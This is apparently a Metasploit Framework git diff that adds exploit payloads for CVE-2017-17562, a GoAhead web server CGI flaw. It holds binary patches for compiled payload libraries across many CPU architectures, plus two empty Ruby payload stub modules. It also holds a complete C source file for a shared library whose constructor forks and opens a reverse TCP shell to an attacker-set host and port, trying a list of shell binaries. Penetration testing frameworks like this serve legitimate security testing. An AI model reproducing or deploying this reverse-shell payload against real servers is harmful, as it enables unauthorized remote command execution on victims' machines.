zx4`Y>@A{B#V$#lKmz&AMTn4!ea~b1ugiDpnF)mMVd6LV|a``lupW||Z%SkQ^Sbqg} zbCD#@{Y{d%pq5A?VVPt#?i0wb#16Yi;!re@#0A|*vJ%${N$k0sd<~fE8vpz(Ok(IEuJHXES_;1`k5LU6^iB; zFl+G)jdGaG`FUNZog++%`59erB%S{9-_!MGKB|zP)^&=8TS=eLb=v8|q3Th6#r6} zT;nro?_~Y>JeHIF^x5pW!x*_h8`zC+^hP0SiCQ%uGSio{sjZkfZEw-Kse+4FoT0S$ zYuQu>PyH~aW(S^6d#5wr$qVG9p;_;g6^GK5elmw8yT30djpqaPO!7!E3(OxjMCe;M9j7kY5BF9S<5p4-6Mm!c7iK!syH&2QR zM`Vns(ir~h7f~T0>o+|?3X7qHZ&(t;ctgCcv88;%5kie)vi z!tmAzLO>oKmg4GvJ-6g{mHfm`3Cw3_O*a(MX~pg64qf(J_LrEm~Y#q-cQBAhSl z2f5ZE&fCe?9pORFyUWB2@$xJ9en5ElD&yxf@!SrEX%o-IxiJ%O#=+n+@r*lW(!`_v ziO^*&Esw&dOg!4B2o0;W?-b{?(L0)x;Z)gt5Yk*yRpz&~^76i9;$3nwjI6?=_pCZT zuKHVB-AW(Lyl?ZjG#lSn?e!}*Gw%Ygmv~NkxA-@_AM-J>@%@e78W&7G7^h0R1y9H|!Mv06*>_nE(I) literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..d1aa1c4659a9a63ae85665d76a1c50202114eae9 GIT binary patch literal 2130 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 Ibl4aG0En(ey#N3J literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c b/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c new file mode 100644 index 0000000000..98a8ea729d --- /dev/null +++ b/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c @@ -0,0 +1,81 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef OLD_LIB_SET_1 +__asm__(".symver system,system@GLIBC_2.0"); +__asm__(".symver fork,fork@GLIBC_2.0"); +#endif + +#ifdef OLD_LIB_SET_2 +__asm__(".symver system,system@GLIBC_2.2.5"); +__asm__(".symver fork,fork@GLIBC_2.2.5"); +#endif + +static void _reverse_tcp_shell(void) { + + int fd, i; + struct sockaddr_in addr; + char *lport = "55555"; + char *lhost = "000.000.000.000"; + char *shells[] = { + "/bin/bash", + "/usr/bin/bash", + "/bin/sh", + "/usr/bin/sh", + "/bin/ash", + "/usr/bin/ash", + "/bin/dash", + "/usr/bin/dash", + "/bin/csh", + "/usr/bin/csh", + "/bin/ksh", + "/usr/bin/ksh", + "/bin/busybox", + "/usr/bin/busybox", + NULL + }; + + fd = socket(PF_INET, SOCK_STREAM, 0); + addr.sin_port = htons(atoi(lport)); + addr.sin_addr.s_addr = inet_addr(lhost); + addr.sin_family = AF_INET; + + memset(addr.sin_zero, 0, sizeof(addr.sin_zero)); + + for (i=0; i<10; i++) { + connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); + } + + for (i=0; i<3; i++) { + dup2(fd, i); + } + + /* Keep trying until execl() succeeds */ + for (i=0; ; i++) { + if (shells[i] == NULL) break; + execl(shells[i], "sh", NULL); + } + + /* Close the connection if we failed to find a shell */ + close(fd); +} + +static void _run_payload_(void) __attribute__((constructor)); + +static void _run_payload_(void) +{ + unsetenv("LD_PRELOAD"); + if (! fork()) { + _reverse_tcp_shell(); + } +} diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-aarch64.so.gz index 76e0c6eb287a4bebe708551506729e6a3fc164df..cd9c361332b82f111826cdefa2291b5cf6bcfbef 100755 GIT binary patch delta 16 XcmaFM`<9nozMF%?JKJ?5`!hBGFLVV} delta 16 XcmaFM`<9nozMF&N^>X-FQ5e` diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64el.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64el.so.gz index 05bd055b92e5f7a0644ed1d4ef6703e31908788e..62b42067cd694c29e9d30c1d95cf76d6a0a326b5 100755 GIT binary patch delta 16 Xcmca0a6y1wzMF%?H`{e1yC(+#D>wv* delta 16 Xcmca0a6y1wzMF&N)C7x-?4BF|FF*wy diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mipsel.so.gz index f2faece52f4df098778f173697bff5232d1346a6..68107f59c945d256403a190025693b8d5d21af88 100755 GIT binary patch delta 16 XcmbOzFj0VAzMF%?C);%+I~NB4BT)m& delta 16 XcmbOzFj0VAzMF&N|7iGCs_nv diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc.so.gz index 48c64cd2590482068828f05a01a2b526da6f601a..f52f9a67f612e0e2d38089484909709706d0cc4a 100755 GIT binary patch delta 16 XcmZn=ZV+ad@8;m}&34_$UdagnB8>ze delta 16 XcmZn=ZV+ad@8;k*HNj#ddnG3TCY1!V diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64.so.gz index e039dfc34c0f45fbc0e2bc6d15b75f4a4a7fcf1c..b7cd6d94272ce89a8b309e198fa90899c299ba74 100755 GIT binary patch delta 16 XcmZn{ZWm^k@8;m}%XZz!-oOa}BXk5c delta 16 XcmZn{ZWm^k@8;k*HNj#ddjlr`Cv^nL diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz index 8b71f681e29149da5f1a704536b9fc2845a5009f..ea425dfa329971e89c9cfb391e32cb4a75cd3fbc 100755 GIT binary patch delta 16 Xcmca7cu$aBzMF%?FWYq^`*jWgE*k|k delta 16 Xcmca7cu$aBzMF&N)C7x-?AJK}G8_fT diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-s390x.so.gz index 730dfafc26b3e752056dd208bf6a1e80bcd24b58..a776b4938c39a4143baffc61c71ecf209493c3bc 100755 GIT binary patch delta 16 Xcmey*|DT^-zMF%?FWYq^`ww;iG6DsY delta 16 Xcmey*|DT^-zMF&N)C7x->_6B6HUkDH diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc.so.gz index 8e7da969c0c317c34c406b4acd88f521aa643430..d6548a7cb9b2abc9628ce39e63db218a7e09d37c 100755 GIT binary patch delta 16 XcmX@dcaD!;zMF%?H`{e1yE{7oD!&AM delta 16 XcmX@dcaD!;zMF&N)C7x-?C$IUF2@BD diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc64.so.gz index 32508d577002c5ba4c59bcd3176b32e5a8874978..355e602b55e2bcc063a891bea72e52bcf55270df 100755 GIT binary patch delta 16 XcmdnYznPz1zMF%?H`{e1`x91 delta 16 XcmdnYznPz1zMF&N)C7x->}%KoEQ19@ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86.so.gz index 0ad5fc85dd56c6152cdba81229735f48f3d00df5..274b72dd9485eb60a1210de2b4b6c9e9f29be0c7 100755 GIT binary patch delta 16 XcmdnSw~dcozMF%?E8BG=yFNPrC#nQ8 delta 16 XcmdnSw~dcozMF&N_uzZBoqWh delta 16 XcmbQlJBgQFzMF&NetC?f>g diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips.so.gz index c6155e00d1c0cbded5777b252c5b8ff922348fb9..205fd0dcf2aa8bd61e191402d736c68c3bf249c4 100755 GIT binary patch delta 16 Xcmeyu_l1vLzMF%?C);%+doDWwFL(s* delta 16 Xcmeyu_l1vLzMF&Ne}SJ}zMF%?H`{e1`$={HEE@#{ delta 16 Xcmcb>e}SJ}zMF&N)C7x->?hd)Fe3$; diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mipsel.so.gz index f2fb980d907205ae82bc0fbc72ab261405ce6c61..9bc2e5ee150c997b45e023990b80534e94c2e64b 100755 GIT binary patch delta 16 XcmZqVZ{%l}@8;m}$#&hyUd0XoA~XaS delta 16 XcmZqVZ{%l}@8;k*Il*EhdlfqXCOibJ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc.so.gz index d0a1c7f55b4148d4bc8687a6220c2c10495e657f..b391f6bbd84827baff9e7493e22a039a215dc0c3 100755 GIT binary patch delta 16 XcmeAY>Jnm?@8;m}%XZz!&ddn_BDe#* delta 16 XcmeAY>Jnm?@8;k*HNj#dJ2NK$Cb^C_8GF%1E diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64le.so.gz index e71782e260b1de71dbab1d11c79a840f30a0435a..1bfbee26d599d646f6d1a40237a908da5a4cf242 100755 GIT binary patch delta 16 Xcmca1a6^DyzMF%?FWYq^dmsk@EI$OH delta 16 Xcmca1a6^DyzMF&N)C7x-?13BrFhB)0 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-s390x.so.gz index 3d9c51cde9a40b2942ba12f3d49313ac76736b04..096951058c385e3516b63785135226d7007da911 100755 GIT binary patch delta 16 Xcmcc4cb$)2zMF%?FWYq^djLBCE9L~5 delta 16 Xcmcc4cb$)2zMF&N)C7x->;dcmFXsg< diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc.so.gz index 3ab5b69a560ba0f4f80d90d54a9791641b97d90b..e93fd10a0de4f9e7be0bdae68cb5b891be73563f 100755 GIT binary patch delta 16 XcmX@kdz_bDzMF%?H`{e1`vEopD#8Ti delta 16 XcmX@kdz_bDzMF&N)C7x-><8EYF3JUZ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc64.so.gz index a322bd905e5057947305cb9a464869bbe7542b31..a18e6bb1b0296ca150732a0ca6e7d218516d7bfe 100755 GIT binary patch delta 16 XcmdnYx0#P!zMF%?H`{e1yAC@5Ctn0C delta 16 XcmdnYx0#P!zMF&N)C7x->^kfKD`y13 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86.so.gz index a275916412192323e502993dd6abdcd2ed862083..3964868678b6422fc411cc7708be97c993c58940 100755 GIT binary patch delta 16 XcmdnWyOoz+zMF%?E8BG=`#LrNC~X9+ delta 16 XcmdnWyOoz+zMF&N<8HZF5?A! diff --git a/modules/payloads/singles/cmd/unix/bind_stub.rb b/modules/payloads/singles/cmd/unix/bind_stub.rb new file mode 100644 index 0000000000..0a281460e9 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_stub.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 0 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind TCP (stub)', + 'Description' => 'Listen for a connection and spawn a command shell (stub only, no payload)', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_bind_stub', + 'RequiredCmd' => '', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Generate an empty payload + # + def generate + '' + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_stub.rb b/modules/payloads/singles/cmd/unix/reverse_stub.rb new file mode 100644 index 0000000000..6e1b5effaa --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_stub.rb @@ -0,0 +1,42 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 0 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (stub)', + 'Description' => 'Creates an interactive shell through an inbound connection (stub only, no payload)', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_reverse_stub', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Generate an empty payload + # + def generate + '' + end +end